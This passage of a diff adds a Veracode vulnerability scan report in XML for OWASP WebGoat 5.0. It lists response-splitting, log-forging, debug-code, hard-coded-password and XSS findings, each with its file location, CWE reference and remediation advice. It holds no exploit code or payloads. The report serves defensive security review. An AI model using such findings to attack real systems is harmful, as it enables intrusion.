+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
